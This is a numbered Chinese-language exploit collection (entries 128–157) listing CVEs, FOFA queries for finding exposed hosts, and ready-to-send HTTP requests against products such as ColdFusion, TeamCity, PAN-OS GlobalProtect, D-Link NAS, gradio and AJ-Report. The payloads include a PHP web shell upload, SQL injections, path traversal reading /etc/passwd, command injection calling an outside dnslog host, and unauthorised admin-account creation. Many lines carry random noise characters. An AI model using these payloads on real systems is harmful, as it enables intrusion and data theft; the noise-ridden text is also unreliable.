User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
$ R' j  L7 V  j$ \; KContent-Length: 415
4 e  t- O5 ^7 }/ T+ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ L7 R. y# h. ?, z% |0 aConnection: close
0 |* @& ~8 h! [Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
3 u; Y( Y& S4 }' W( a0 y8 r+ Y7 c  nPurpose: prefetch
8 j4 k1 T+ l0 U1 D4 B# \Sec-Purpose: prefetch;prerender
9 O9 F- Q9 Y& s2 ~2 Y/ G- w
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
2 G) D6 n* [/ E7 M! x0 d; _------WebKitFormBoundaryJGgV5l5ta05yAIe0
" r; p9 _+ q" k7 eContent-Disposition: form-data;name="Params"
/ P2 m7 n8 h# B1 g9 F8 A# W* tContent-Type: text/plain
9 E7 M1 z# w: z6 I2 D
7 |6 s) O9 X1 i2 e; q. E* a<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
. G* q: W$ d/ @: {$ @8 O9 [<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
6 D9 ^- l4 P% l) O% z]
. c/ a" D8 e0 z, g: S  V>
<test>&t;</test>
% \: [: s3 X  X1 U------WebKitFormBoundaryJGgV5l5ta05yAIe0--

; \- g: x: {: o" z& }: T( `, ^2 @

128. Adobe ColdFusion 反序列化
1 a- n2 O. y& U' G4 NCVE-2023-38203
4 f: {" R) |# _Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
: X  a, c% w" jFOFA：app="Adobe-ColdFusion"
2 v; W" y/ L; {9 B# P8 }4 lPAYLOAD
6 U1 ]. f# w' t0 I
4 l( I: I$ O% |' u129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
2 x% d4 S) I( w" R' GGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
  O' @2 T/ T/ U( FHost: x.x.x.x
' E: p* J2 i: _' U' j8 ]# HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
2 e. Z) N7 C$ X5 ^: x# l. z# eAccept-Encoding: gzip, deflate
Connection: close

$ Z+ y+ T' O7 v
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
$ r8 M% W6 V, |4 E5 AHost: x.x.x.x
3 f" _$ ]& O! {8 \- t: hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
8 o+ r; f; B/ v  C& `Accept-Encoding: gzip, deflate
Connection: close
3 R, _% I5 {0 _& _4 t2 ]0 Juuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
* K+ p/ [. p( d/ O; X# m& G9 qFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
. U  w6 ~  S, c, |4 B" y# }8 \X-Requested-With: XMLHttpRequest
& }& u) i# R2 HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
1 ~) z( g7 d8 h7 H) y* t0 E, HConnection: close
  _* b$ d" K0 z) c6 @
------WebKitFormBoundary3OCVBiwBVsNuB2kR
- i# l! h0 u4 C6 @" N: l8 fContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
3 q2 P/ }5 F. x; y' }
<?php phpinfo();@eval($_POST['sec']);?>
$ j6 R+ J- \  H4 b! `" D------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
. @7 p2 j  v% J9 G: }4 YFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

3 C: A; y) |6 o" p6 j1 [132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
/ @! R) X+ V# B. ^- m# hFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
) M2 F" y% |' ?3 I1 K  fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* r  i1 ]6 Q& x+ i% FAccept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
2 n0 Z# T. y# [6 y  \" s
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
$ e8 {# P, F+ U3 o1 C  R) @

4 V8 g! }) a; @- u0 \8 sCVE-2024-27199
  }6 p- N- I7 J2 C7 E1 Q; O3 f. R/res/../admin/diagnostic.jsp
/ ^1 E# r8 `1 k$ |9 u5 D/.well-known/acme-challenge/../../admin/diagnostic.jsp
4 M6 L! [) E! @/update/../admin/diagnostic.jsp
# S' j2 ~  |9 ^# i
! W$ X+ q1 o% V* Q. f# e
CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
$ Y) a* G4 `! JPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
# G* ~" Y$ O2 O0 E8 E1 K$ x( qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
. C. t+ [2 C* P8 f' P' CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
/ `: S/ m; x* a+ `) E/ y- Z
* ]$ C- u$ {% v9 F5 n' [& J------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
* v6 w- e1 U; s------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

  @- X, E1 |# @- c5 L1 ^5 _: _
0 ?7 L" \  j& n  @
134. 网康NS-ASG应用安全网关index.php sql注入
! ]6 t/ V0 N7 F( u7 QCVE-2024-2330
+ Z6 u7 N) w/ v# J0 |4 CNetentsec NS-ASG Application Security Gateway 6.3版本
2 N* x0 F; g9 [% }5 ]& G" aFOFA：app="网康科技-NS-ASG安全网关"
. s  L0 P. K/ Z5 `POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( R/ Q+ G/ ?2 X/ MAccept-Encoding: gzip, deflate
' Y" O2 Z1 J" y6 s" g/ S, `. _Sec-Fetch-Dest: empty
4 s/ [! R6 i# H: x: e9 bSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
7 e* m# e7 l+ d0 T' X+ T" @Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
) b9 T5 V4 m) j) m. S; W

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
" B$ e, j) a8 [, {8 xGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
  c7 K4 Z4 o1 THost: x.x.x.x
5 q% i0 N. Z) q0 b3 E# d$ |- YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 F& j1 k# M% X# U. xConnection: close

1 G* @( P2 H* I8 M" X
136. NextChat cors SSRF
8 c3 @) P7 L1 i9 DCVE-2023-49785
FOFA：title="NextChat"
$ S, t, Q' }& |* q( y# z* ^GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
: M* U  Q$ P% t; e, S6 tAccept-Encoding: gzip

( m8 d+ |# B* L% b
3 ]+ Q7 g1 S" X& q6 T# a: W137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
* P( q: C  h: F& m4 N+ V3 OFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
  e1 ^$ \: f" I8 v4 C; }GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
/ ?" V1 C4 [" c  j5 k5 k$ zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; h! {7 D$ N2 h7 g4 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& G( G- H$ n5 \/ l7 u+ xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
4 ^" g1 [8 r" O* F, P9 }" m) ZCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
% o* _( }0 `* W; \# d3 |
' i/ F9 P$ h# Y: F
% m  v4 r' H/ }" B8 ^# H138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
9 r, E& O& I& }" F2 @FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
0 s  ^4 [3 v4 g* S/ z" a/ ]# d1 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
  \$ O, \$ v. JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( |) j* J3 s/ T  EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  A( A7 H+ d, MConnection: close
Upgrade-Insecure-Requests: 1
! c0 ~: ^" C( `7 G

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
( |4 X7 @- P. x6 x2 O# r5 H# a" BCVE-2024-2622
2 p) H+ |+ t4 m" W; @7 J: ]# H- @FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
* @2 [: e3 z; IGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
) L# L5 ~  y) I( J& qHost: x.x.x.x
/ P/ b! B$ M* z- `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 m9 e! j$ u1 ~' EAccept-Encoding: gzip, deflate, br
1 Q: H+ i3 L6 lConnection: close
5 G- u- c% v* S# FCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
6 ^3 \9 B6 Z2 ~Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
% j: Z  U7 N% I$ I: `8 n3 R- }FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 T! ^6 H- O1 T  O( {+ z8 @GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
+ y- R* n+ ^  U, k/ EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) J/ y) R, Q3 t7 V( t) NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; r! i/ z8 K  x9 h4 K8 P  ?$ JAccept-Encoding: gzip, deflate, br
. [% t5 K7 f2 ]$ lConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
& B0 e( k0 j' r% A2 J' H/ f) j
& T7 [" V# w; @2 d" r2 e# L7 K6 \
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
% z) g- a- G4 R, P+ ^FOFA：body="指挥调度管理平台"
& V5 V* M: w( EPOST /app/ext/ajax_users.php HTTP/1.1
- b  B0 L0 [* d$ R# {5 CHost: your-ip
! S- u! G4 _0 p: W( ?+ F! h8 yUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

# U4 y; c4 Q* @
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
% X! r* c2 [5 D6 ^+ U
) e) ^: l  G6 ~9 W# `2 ~- L" ?$ R
! v9 G4 i, L9 o7 S' g( n' Z) K142. CMSV6车辆监控平台系统中存在弱密码
# _  L0 V2 g8 ?. h0 t7 Q# gCVE-2024-29666
FOFA：body="/808gps/"
: @  ?/ `+ f3 i0 E: b2 Madmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
9 i7 n3 T3 K: i- jFOFA：title='AP setup' && header='netis'
PAYLOAD

: q; {+ \) P* d0 r1 p- H5 E8 `144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
1 i# y8 d6 R$ M! I9 T8 [. o- Bsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
3 Z4 d9 f6 F: \# iUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
- P  i+ m8 K* nConnection: close
' L" B- t, t3 LAccept: */*
Accept-Language: en
% C) r9 e/ G+ B! O+ N+ b) bAccept-Encoding: gzip

  M1 Y. V" B2 Z0 v  d9 S
, N0 z9 N4 j# |0 ~9 U- t145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
, b) ]: \3 ]. F9 `# n$ ?5 F% B9 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
" A5 L6 ^% N; _( V7 e8 X( H+ PConnection: close
' y  ^" o  t/ A) p- ]Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
3 u7 Z  |$ D8 x; A' g3 u5 h

; |& Z- `6 P2 c146. MajorDoMo thumb.php 未授权远程代码执行
- g4 F; `7 l1 K+ b% V* c4 DCNVD-2024-02175
6 o8 s# p3 U* E$ I! x5 j' BFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
- Z& m" G' g' _) w9 P* M9 ?Accept-Charset: utf-8
9 j: b& u3 W1 W  UAccept-Encoding: gzip, deflate
2 a% C8 p1 F8 C* CConnection: close

# Y1 M; c/ v5 k, b  x
9 U4 \8 Q* D3 ?8 I, z147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
9 v. n  Q7 U- _) P3 B3 ]% ZHost: 127.0.0.1:81
Cache-Control: max-age=0
2 k; T, j3 m. m- I' S4 vConnection: close
5 ]. v8 E! _# F' k
, e2 {1 P) c/ W0 s
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
9 j7 q4 d: m2 _; ]  `" i9 Y: k
' M% O+ R: q2 k2 t4 _149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
4 `" Q1 M" {( i
  c! Q& k. P2 B3 Y) o& Y; ^. G. WPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
- M7 b2 G- m4 E5 m1 [# NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% q8 q. ^, `( R0 N" `Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
- O  }4 t% Q2 S; g& k" gContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
/ V$ g; d6 T& m4 L
' k9 z# T2 |, b150. AJ-Report 1.4.0 认证绕过与远程代码执行
$ Y3 x& w) c- c& gFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
. E+ f& K  |8 _9 ]8 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: @9 v3 W% [% h# V3 H$ p, ^2 ~0 P9 oAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ d) _4 N# Y0 @+ O5 \3 o# ~Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
4 Z( t3 O) l  g5 i/ A1 X/ Y. U
# W& L; @( {5 u( Q+ z3 h3 l{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
. ?( ]. r& P8 [/ a. @  \0 o

: P0 C! Z' C6 o' |5 @* D151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  `+ s3 C5 @- H- O  GConnection: close
Accept-Encoding: gzip
' w+ n& r7 K6 O" G6 E4 g# n& P3 i

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
, m4 b, Q& F0 cLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
. b$ P/ D6 d# eJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
# w' X0 ?! G& L! }; ]4 q% jGET /access/set?param=enableapi&value=1 HTTP/1.1
! U$ v* f# q; C  i4 R: sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
( h5 V& E. U8 p/ d- i3 CConnection: close
$ j# ~! i1 G2 a$ I9 XAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
5 C7 R2 i6 \+ U6 z. U4 l) O

153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
. _4 A  W. u7 Q6 M* {5 y( d3 K第一步，请求/config文件获取componets的id
http://x.x.x.x/config

" r9 [! S" O) q0 y- g$ u" e- r. a- `
4 T! v7 ^" v9 z8 V5 P  M第二步，将/etc/passwd的内容写入到一个临时文件
( ~; A! M; K  _7 d7 X) wPOST /component_server HTTP/1.1
# b% k) U7 `# {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
' I- \4 x3 a7 DConnection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

+ o2 S. M, k3 C  X. t4 ?: f* o{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
  h( w& u3 {. x% N$ t6 i4 v) }# \# A' g
* T% ^4 k% s# b4 D: t( `
. y. v! d( `: p* `第三步访问
2 a7 @# M) u8 Hhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

( b$ t2 X4 E5 f, o8 Y
# H3 T) k0 T/ |- v154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
! Z$ U- N, U0 B- lPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
* f7 I  \' c7 W1 B2 O) I7 vCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
" z6 c# u3 a( ?. k+ S( u& IOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+ \$ R9 A& ^) j- ^' |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
+ Y3 L: [$ N2 _Connection: close

4 W2 y: K5 I5 e2 L, l* n7 h# p{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
; `8 Y5 F; k7 O" ~8 fFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 g1 {  Y2 d* G) s& a3 ?Connection: close
5 |8 o$ ]$ [; n: }, W6 nContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
: D( z$ W) s9 IAccept-Encoding: gzip, deflate, br
, K* K9 I) M  ?! i7 X! J9 S- KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 U9 ]/ N0 ~1 z, Z( n7 \4 fContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
5 r. k: w% a4 w/ s/ G7 ?
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
+ G  o6 G  p7 r0 U3 X: IContent-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
  C, |6 e5 t; v7 P-----------------------------qttl7vemrsold314zg0f--
- q/ }  x3 i) A# z$ m& T- ^
! x6 @+ A( t, M; F7 c
4 e# b9 ^0 e  I! r访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
7 I& }- ^/ N! S! z. H8 r2 O/ h* [
156. TBK DVR-4104/DVR-4216 操作系统命令注入
2 [7 b3 n! z+ r2 O6 Y8 MCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
! T) f& H: t% S6 l  Y0 m- U0 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! s# {& I" q+ s7 y1 kConnection: close
* h. x9 k: U5 r! X8 \' `Content-Length: 0
Cookie: uid=1
: j" [0 w7 \: J; J, S# K; B9 nAccept-Encoding: gzip
6 x: }3 y$ S3 w7 D( l- u* c; l  q

: c1 D7 m( h, U4 M% O* m- J157. 美特CRM upload.jsp 任意文件上传
2 w( E5 e+ T8 T! V5 R8 ICNVD-2023-06971
  B- Y4 S' L% K% a. G4 M# qFOFA：body="/common/scripts/basic.js"
$ S3 n9 g! w" [: {! kPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
  b/ M) h; Z- X" m6 F5 R% sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
% C% P' X5 L" P+ q) ]  @1 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ U2 L( W& V/ _" g# t" r0 `/ r- fAccept-Encoding: gzip, deflate
6 K" l* T! M: mAccept-Language: zh-CN,zh;q=0.9
; p  I! ]1 s0 i# ACache-Control: max-age=0
: q$ q' Z0 ]1 B6 S  y+ \Connection: close
# U+ e# L) {- {8 F: e. C0 xContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
/ L, w0 \. r# [# sUpgrade-Insecure-Requests: 1

, t" K% r* z+ [9 T1 i1 j------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
* w9 L4 `9 j# M* w2 n( T6 e& n
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
- L1 D8 H2 N3 t2 RContent-Disposition: form-data; name="key"

! m7 |5 e* |1 w6 q$ T. |# i6 Wnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

/ J2 O% c" h4 A6 z! u- @" a5 Anull
